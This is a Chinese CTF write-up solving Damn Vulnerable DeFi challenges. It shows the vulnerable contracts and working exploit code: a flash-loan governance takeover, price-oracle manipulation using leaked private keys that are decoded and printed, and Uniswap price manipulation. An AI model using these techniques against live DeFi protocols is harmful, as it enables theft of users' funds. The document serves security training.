题目预览

  • Selfie
    • 分析
    • 攻击
  • Compromised
    • 分析
    • 攻击
  • Puppet
    • 分析
    • 攻击
  • Puppet v2
    • 分析
    • 攻击
  • Free rider
    • 分析
    • 攻击

Selfie

分析

题目要求:

A new cool lending pool has launched! It’s now offering flash loans of
DVT tokens.

Wow, and it even includes a really fancy governance mechanism to
control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million.
Your objective: take them all.

大意是有一个提供DVT代币的闪电贷,池中有一百五十万个DVT,而我们一无所有,但我们需要拿走全部的DVT.
题目给了两个合约,一个是闪电贷合约,另一个是闪电贷的治理合约
闪电贷合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";/*** @title SelfiePool* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)*/
contract SelfiePool is ReentrancyGuard {using Address for address;ERC20Snapshot public token;SimpleGovernance public governance;event FundsDrained(address indexed receiver, uint256 amount);modifier onlyGovernance() {require(msg.sender == address(governance), "Only governance can execute this action");_;}constructor(address tokenAddress, address governanceAddress) {token = ERC20Snapshot(tokenAddress);governance = SimpleGovernance(governanceAddress);}function flashLoan(uint256 borrowAmount) external nonReentrant {uint256 balanceBefore = token.balanceOf(address(this));require(balanceBefore >= borrowAmount, "Not enough tokens in pool");token.transfer(msg.sender, borrowAmount);        require(msg.sender.isContract(), "Sender must be a deployed contract");msg.sender.functionCall(abi.encodeWithSignature("receiveTokens(address,uint256)",address(token),borrowAmount));uint256 balanceAfter = token.balanceOf(address(this));require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");}function drainAllFunds(address receiver) external onlyGovernance {uint256 amount = token.balanceOf(address(this));token.transfer(receiver, amount);emit FundsDrained(receiver, amount);}
}

这个合约只有两个函数,一个函数用来进行闪电贷,在其中触发我们的receiveTokens函数,另一个函数只有治理合约能够调用,用来向其他合约转钱。
治理合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";/*** @title SimpleGovernance* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)*/
contract SimpleGovernance {using Address for address;struct GovernanceAction {address receiver;bytes data;uint256 weiAmount;uint256 proposedAt;uint256 executedAt;}DamnValuableTokenSnapshot public governanceToken;mapping(uint256 => GovernanceAction) public actions;uint256 private actionCounter;uint256 private ACTION_DELAY_IN_SECONDS = 2 days;event ActionQueued(uint256 actionId, address indexed caller);event ActionExecuted(uint256 actionId, address indexed caller);constructor(address governanceTokenAddress) {require(governanceTokenAddress != address(0), "Governance token cannot be zero address");governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);actionCounter = 1;}function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");require(receiver != address(this), "Cannot queue actions that affect Governance");uint256 actionId = actionCounter;GovernanceAction storage actionToQueue = actions[actionId];actionToQueue.receiver = receiver;actionToQueue.weiAmount = weiAmount;actionToQueue.data = data;actionToQueue.proposedAt = block.timestamp;actionCounter++;emit ActionQueued(actionId, msg.sender);return actionId;}function executeAction(uint256 actionId) external payable {require(_canBeExecuted(actionId), "Cannot execute this action");GovernanceAction storage actionToExecute = actions[actionId];actionToExecute.executedAt = block.timestamp;actionToExecute.receiver.functionCallWithValue(actionToExecute.data,actionToExecute.weiAmount);emit ActionExecuted(actionId, msg.sender);}function getActionDelay() public view returns (uint256) {return ACTION_DELAY_IN_SECONDS;}/*** @dev an action can only be executed if:* 1) it's never been executed before and* 2) enough time has passed since it was first proposed*/function _canBeExecuted(uint256 actionId) private view returns (bool) {GovernanceAction memory actionToExecute = actions[actionId];return (actionToExecute.executedAt == 0 &&(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS));}function _hasEnoughVotes(address account) private view returns (bool) {uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;return balance > halfTotalSupply;}
}

这个合约有两个函数,第一个函数的意思是,当你拥有了矿池中半数以上的DVT代币后,你就能够通过这个合约执行一次调用操作,queueAction函数会验证你是否拥有足够的token,如果有则将你想要执行的调用存入链上,在两天之后输入你的id即可在executeAction中执行该调用。

很明显,我们需要存入并且执行调用,我们可以在executeAction函数中去执行闪电贷合约中的drainAllFunds函数,这样即可绕开onlyGovernance的限定,将闪电贷合约中的token全部发送给我们,掏空该合约。

攻击

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SelfiePool.sol";
import "./SimpleGovernance.sol";
contract selfieAttack{using Address for address;SelfiePool public pool;SimpleGovernance governance;DamnValuableTokenSnapshot token;bytes data;uint256 acountID;constructor(address _pool,address _governance,address attacker,address _token){pool = SelfiePool(_pool);governance = SimpleGovernance(_governance);token = DamnValuableTokenSnapshot(_token);}function loan(uint256 amount,bytes memory _data)public payable{data = _data;pool.flashLoan(amount);}function receiveTokens(address _token,uint256 amount)public{token.snapshot();acountID = governance.queueAction(address(pool),data,0);token.transfer(msg.sender,amount);}function complete()public{governance.executeAction(acountID);token.transfer(msg.sender,token.balanceOf(address(this)));}fallback()external payable{}
}

攻击原理很简单,先闪电贷借出全部的token,然后再receiveTokens函数中调用queueAction函数,将构造好的data和闪电贷合约地址传入,然后将钱返还给闪电贷合约。最后调用complete函数,执行executeAction函数,将钱转入我们的账户。
js攻击合约:

it('Exploit', async function () {/** CODE YOUR EXPLOIT HERE */const data = web3.eth.abi.encodeFunctionCall({name:'drainAllFunds',type:'function',inputs:[{type:'address',name:'receiver'}]},[attacker.address]);const SelfieAttackFactory = await ethers.getContractFactory("selfieAttack",attacker);this.attack =await SelfieAttackFactory.deploy(this.pool.address,this.governance.address,attacker.address,this.token.address);await this.attack.connect(attacker).loan(TOKENS_IN_POOL,data);await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);await this.attack.connect(attacker).complete();});

首先构造data,调用loan函数后,在区块上渡过两天的时间,即可调用complete函数完成攻击。

执行脚本完成攻击。

Compromised

分析

题目要求:

While poking around a web service of one of the most popular DeFi
projects in the space, you get a somewhat strange response from their
server. This is a snippet:

      HTTP/2 200 OKcontent-type: text/htmlcontent-language: envary: Accept-Encodingserver: cloudflare4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 354d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced)
collectibles called “DVNFT”, now at 999 ETH each

This price is fetched from an on-chain oracle, and is based on three
trusted reporters:
0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15
and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.

Starting with only 0.1 ETH in balance, you must steal all ETH
available in the exchange.

大意是有一个交易所在售卖一种非常昂贵的代币DVNFT,每个价值999ETH,要我们以0.1ETH的余额来拿走交易所中全部的ETH
预言机合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";/*** @title TrustfulOracle* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)* @notice A price oracle with a number of trusted sources that individually report prices for symbols.*         The oracle's price for a given symbol is the median price of the symbol over all sources.*/
contract TrustfulOracle is AccessControlEnumerable {bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");// Source address => (symbol => price)mapping(address => mapping (string => uint256)) private pricesBySource;modifier onlyTrustedSource() {require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));_;}modifier onlyInitializer() {require(hasRole(INITIALIZER_ROLE, msg.sender));_;}event UpdatedPrice(address indexed source,string indexed symbol,uint256 oldPrice,uint256 newPrice);constructor(address[] memory sources, bool enableInitialization) {require(sources.length > 0);for(uint256 i = 0; i < sources.length; i++) {_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);}if (enableInitialization) {_setupRole(INITIALIZER_ROLE, msg.sender);}}// A handy utility allowing the deployer to setup initial prices (only once)function setupInitialPrices(address[] memory sources,string[] memory symbols,uint256[] memory prices) publiconlyInitializer{// Only allow one (symbol, price) per sourcerequire(sources.length == symbols.length && symbols.length == prices.length);for(uint256 i = 0; i < sources.length; i++) {_setPrice(sources[i], symbols[i], prices[i]);}renounceRole(INITIALIZER_ROLE, msg.sender);}function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {_setPrice(msg.sender, symbol, newPrice);}function getMedianPrice(string calldata symbol) external view returns (uint256) {return _computeMedianPrice(symbol);}function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {uint256 numberOfSources = getNumberOfSources();uint256[] memory prices = new uint256[](numberOfSources);for (uint256 i = 0; i < numberOfSources; i++) {address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);prices[i] = getPriceBySource(symbol, source);}return prices;}function getPriceBySource(string memory symbol, address source) public view returns (uint256) {return pricesBySource[source][symbol];}function getNumberOfSources() public view returns (uint256) {return getRoleMemberCount(TRUSTED_SOURCE_ROLE);}function _setPrice(address source, string memory symbol, uint256 newPrice) private {uint256 oldPrice = pricesBySource[source][symbol];pricesBySource[source][symbol] = newPrice;emit UpdatedPrice(source, symbol, oldPrice, newPrice);}function _computeMedianPrice(string memory symbol) private view returns (uint256) {uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));// calculate median priceif (prices.length % 2 == 0) {uint256 leftPrice = prices[(prices.length / 2) - 1];uint256 rightPrice = prices[prices.length / 2];return (leftPrice + rightPrice) / 2;} else {return prices[prices.length / 2];}}function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory) {for (uint256 i = 0; i < arrayOfNumbers.length; i++) {for (uint256 j = i + 1; j < arrayOfNumbers.length; j++) {if (arrayOfNumbers[i] > arrayOfNumbers[j]) {uint256 tmp = arrayOfNumbers[i];arrayOfNumbers[i] = arrayOfNumbers[j];arrayOfNumbers[j] = tmp;}}}        return arrayOfNumbers;}
}

这个合约提供了与链上交易所进行交互的函数,包括根据不同的方式得到不同的价格,以及初始化价格等函数。
交易所合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";import "./TrustfulOracle.sol";
import "../DamnValuableNFT.sol";/*** @title Exchange* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)*/
contract Exchange is ReentrancyGuard {using Address for address payable;DamnValuableNFT public immutable token;TrustfulOracle public immutable oracle;event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);event TokenSold(address indexed seller, uint256 tokenId, uint256 price);constructor(address oracleAddress) payable {token = new DamnValuableNFT();oracle = TrustfulOracle(oracleAddress);}function buyOne() external payable nonReentrant returns (uint256) {uint256 amountPaidInWei = msg.value;require(amountPaidInWei > 0, "Amount paid must be greater than zero");// Price should be in [wei / NFT]uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");uint256 tokenId = token.safeMint(msg.sender);payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);emit TokenBought(msg.sender, tokenId, currentPriceInWei);return tokenId;}function sellOne(uint256 tokenId) external nonReentrant {require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");// Price should be in [wei / NFT]uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");token.transferFrom(msg.sender, address(this), tokenId);token.burn(tokenId);payable(msg.sender).sendValue(currentPriceInWei);emit TokenSold(msg.sender, tokenId, currentPriceInWei);}receive() external payable {}
}

合约提供了两个函数,一个用来买代币,一个用来卖代币
根据以上合约我们可以发现,无论是买入还是卖出,价格都由这个函数决定

而这个函数能够修改Price


而要调用这个函数,就需要调用者为trustedSource,我们知道题目给了我们三个地址,而三个地址都为trustedSource,所以我们如果能够控制这三个地址,就能够随意的更改价格,来达到我们的预期效果。

此时,通过解码发现,题目最开始给出的两串hex码,恰好是三个账户中其中两个的私钥,因此,我们就能够通过控制其中两个账户来达到我们的目的。

攻击

私钥计算脚本:

package mainimport ("encoding/base64""encoding/hex""fmt""strings"
)
func main() {//题目给的hex码var str = []string{"4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35","4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34"}for i := 0; i < len(str); i++ {//去除全部空格str[i] = strings.Replace(str[i], " ", "", -1)//hex转Acsii码message, err := hex.DecodeString(str[i])if err != nil {fmt.Println(err)}// base64解码消息data, err := base64.StdEncoding.DecodeString(string(message))// 出错处理if err != nil {fmt.Println(err)} else {// 打印解码完成的数据fmt.Println(string(data))}}
}

脚本结果如下

得到私钥后,编写js攻击代码:

it('Exploit', async function () {/** CODE YOUR EXPLOIT HERE *///账户私钥privateKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"privateKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"//解锁账户地址addr1 = new ethers.Wallet(privateKey1, ethers.provider)addr2 = new ethers.Wallet(privateKey2, ethers.provider)//修改为最低价await this.oracle.connect(addr1).postPrice("DVNFT", 0);await this.oracle.connect(addr2).postPrice("DVNFT", 0);//买入代币await this.exchange.connect(attacker).buyOne({ value: 1 });//修改为最高价await this.oracle.connect(addr1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);await this.oracle.connect(addr2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);//卖出代币await this.nftToken.connect(attacker).approve(this.exchange.address, 0)await this.exchange.connect(attacker).sellOne(0)//将价格修改为初始价格await this.oracle.connect(addr1).postPrice("DVNFT", INITIAL_NFT_PRICE);await this.oracle.connect(addr2).postPrice("DVNFT", INITIAL_NFT_PRICE);});

首先通过hardhat解锁账户地址,我们就可以使用这两个账户来进行调用,然后先将价格修改为最低价,再买入,修改为最高价后卖出,再将价格修改回去,即可完成攻击。

执行脚本,攻击完成。

Puppet

分析

题目要求

There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs),
where you first need to deposit twice the borrow amount in ETH as
collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an Uniswap v1 exchange, currently with
10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all
tokens from the lending pool.

大意是有一个借贷池在借贷DVT,池中有十万DYT,且存在一个交易市场,现有10ETH和10DVT的流动性,我们需要以25ETH和1000DVT的余额拿走借贷池中的所有代币。
借贷池合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";/*** @title PuppetPool* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)*/
contract PuppetPool is ReentrancyGuard {using Address for address payable;mapping(address => uint256) public deposits;address public immutable uniswapPair;DamnValuableToken public immutable token;event Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);constructor (address tokenAddress, address uniswapPairAddress) {token = DamnValuableToken(tokenAddress);uniswapPair = uniswapPairAddress;}// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETHfunction borrow(uint256 borrowAmount) public payable nonReentrant {uint256 depositRequired = calculateDepositRequired(borrowAmount);require(msg.value >= depositRequired, "Not depositing enough collateral");if (msg.value > depositRequired) {payable(msg.sender).sendValue(msg.value - depositRequired);}deposits[msg.sender] = deposits[msg.sender] + depositRequired;// Fails if the pool doesn't have enough tokens in liquidityrequire(token.transfer(msg.sender, borrowAmount), "Transfer failed");emit Borrowed(msg.sender, depositRequired, borrowAmount);}function calculateDepositRequired(uint256 amount) public view returns (uint256) {return amount * _computeOraclePrice() * 2 / 10 ** 18;}function _computeOraclePrice() private view returns (uint256) {// calculates the price of the token in wei according to Uniswap pairreturn uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);}/**... functions to deposit, redeem, repay, calculate interest, and so on ...*/}

借贷池提供两个函数,一个用来借钱,另一个用来计算借钱时需要支付的eth。
本题只提供了这一个合约,我们可以注意到在calculatedDepositRequired函数中,是根据流通池中现有的eth和token的比例来计算应支付的eth。

这里在计算时因为乘了10**18所以会存在一个溢出,但需要大量的eth,很明显我们没有那么多。所以我们只能从token与eth的比例入手。
因为使用了uniswapExchangev1合约,并在项目中提供了字节码,所以我们能够找到合约源码。

我们利用这个函数将自己的token与uniswap的ETH进行互换,token变得很大,eth变得很小,比例就变得很小了,我们就可以用现有的eth换出借贷池中所有的token。

攻击

js攻击代码:

it('Exploit', async function () {/** CODE YOUR EXPLOIT HERE *///将手中的token与uniswap交换ETHawait this.token.connect(attacker).approve(this.uniswapExchange.address,ATTACKER_INITIAL_TOKEN_BALANCE)// const ethPayout = await this.uniswapExchange.connect(attacker).getTokenToEthInputPrice(ATTACKER_INITIAL_TOKEN_BALANCE,{gasLimit:1e6})// console.log(ethers.utils.formatEther(ethPayout))await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(ethers.utils.parseEther('999'), ethers.utils.parseEther("9"), (await ethers.provider.getBlock('latest')).timestamp * 2, )//计算将token全部换走需要的ethdepositNeed = this.lendingPool.connect(attacker).calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)//交换tokenawait this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE,{value:depositNeed})

首先将自己手中的token与uniswap交换eth,然后计算将借贷池中全部token转走需要的eth,最后将Pool中的token全部借走。

执行脚本,完成攻击。

Puppet v2

分析

题目要求:

The developers of the last lending pool are saying that they’ve
learned the lesson. And just released a new version!

Now they’re using a Uniswap v2 exchange as a price oracle, along with
the recommended utility libraries. That should be enough.

You start with 20 ETH and 10000 DVT tokens in balance. The new lending
pool has a million DVT tokens in balance. You know what to do

Damn Vulnerable DeFi靶场实战(6-10)相关推荐

  1. Damn Vulnerable DeFi靶场实战(11-13)

    题目预览 Backdoor 分析 攻击 Climber 分析 攻击 Safe miners 分析 攻击 Backdoor 分析 题目要求: To incentivize the creation of ...

  2. Damn Vulnerable DeFi靶场实战(1-5)

    题目预览 Unstoppable 分析 攻击 Naive Receiver 分析 攻击 Truster 分析 攻击 Side entrance 分析 攻击 The rewarder 分析 攻击 Uns ...

  3. vsmoon靶场实战笔记

    vsmoon靶场实战笔记 web打点 信息收集 nmap扫描端口 扫描结果 └─$ nmap -sV -A 192.168.1.106 -Pn Starting Nmap 7.92 ( https:/ ...

  4. php网站渗透实战_【案例分析】记一次综合靶场实战渗透

    原标题:[案例分析]记一次综合靶场实战渗透 时间有点久,这里主要和大家分享一下思路. 该靶场是多层网络下的综合渗透,只开放了一个web端可以访问,其他均处于内网. 开始渗透 首先进入靶场开放的唯一一个 ...

  5. 记录渗透靶场实战【网络安全】

    第一次写靶场实战的文章,有不足之处还请多多指教.本次实战的靶场是红日安全vulnstack系列的第二个靶场. 靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/ ...

  6. 【课题报告】OpenCV 抠图项目实战(10)PyQt5 使用

    Python 小白的课题报告-OpenCV 抠图项目实战(10)PyQt5 使用 本系列是 Python 小白的课题作业<基于OpenCV 的图像分割和抠图>. 需要说明的是,本系列并不能 ...

  7. OpenCV-Python实战(10)——详解 OpenCV 轮廓检测

    OpenCV-Python实战(10)--详解 OpenCV 轮廓检测 0. 前言 1. 轮廓介绍 2. 轮廓检测 3. 轮廓压缩 4. 图像矩 4. 1 一些基于矩的对象特征 4.2 Hu 不变矩 ...

  8. woff字体反爬实战,10分钟就能学会(ttf字体同理)

    声明:本帖子仅是用于学习用途,请勿与用于恶意破坏别人网站,本人不承担法律责任. 来继续学爬虫呀! 很开心,竟然上榜某爬虫练习网站了!!! 来看一下榜单 超激动的!!但是还有两道目前个人解决不了,希望哪 ...

  9. OpenCV实战(10)——积分图像详解

    OpenCV实战(10)--积分图像详解 0. 前言 1. 积分图像计算 2. 自适应阈值 2.1 固定阈值的缺陷 2.2 使用自适应阈值 2.3 其它自适应阈值计算方法 2.4 完整代码 3. 使用 ...

最新文章

  1. tomcat安装及使用详解
  2. Hive动态分区导致的Jobtracker Hang
  3. 78. Subsets
  4. C#3.0 为我们带来什么(5) —— 匿名类型
  5. 高并发系统处理之——限流
  6. 终于收到HacktoberFest的奖品啦
  7. Aleri –复杂事件处理
  8. GCD API记录(二)
  9. Java中四种遍历Map对象的方法
  10. 服务器可以显示的血量显示,魔兽世界怀旧服怪物如何显示血量
  11. android打印动画,Android 中的转场动画及兼容处理
  12. C/C++作用域运算符::
  13. 【学习笔记】TRIZ 40个创新原理及解析
  14. 基于单片机的触屏电机控制系统的设计
  15. Centos7安装libreoffice
  16. 鲁大师4月安卓新机性能/流畅榜:ROG游戏手机7摘得性能桂冠 vivo登顶流畅榜
  17. 如何识别企业内的“千里马”?
  18. Android开发指南
  19. G003-181-01
  20. long long 型变量

热门文章

  1. 【JAVAWEB】HTML的常见标签
  2. 这名乌克兰黑客成为FBI的最佳武器和黑客的噩梦
  3. windows下更改网卡mac地址
  4. 【面筋烧烤手册】CSS
  5. 修复win10启动项
  6. php不等于指定数字,php – 为什么bcmul返回的数字与我指定的数字不同?
  7. Alphabet联网气球项目取得新突破;苹果全球开发者大会6月5日召开│ IoT黑板报...
  8. 美团 Serverless 的探索与实践
  9. 观念什么意思_观念一词是什么意思
  10. putText函数的用法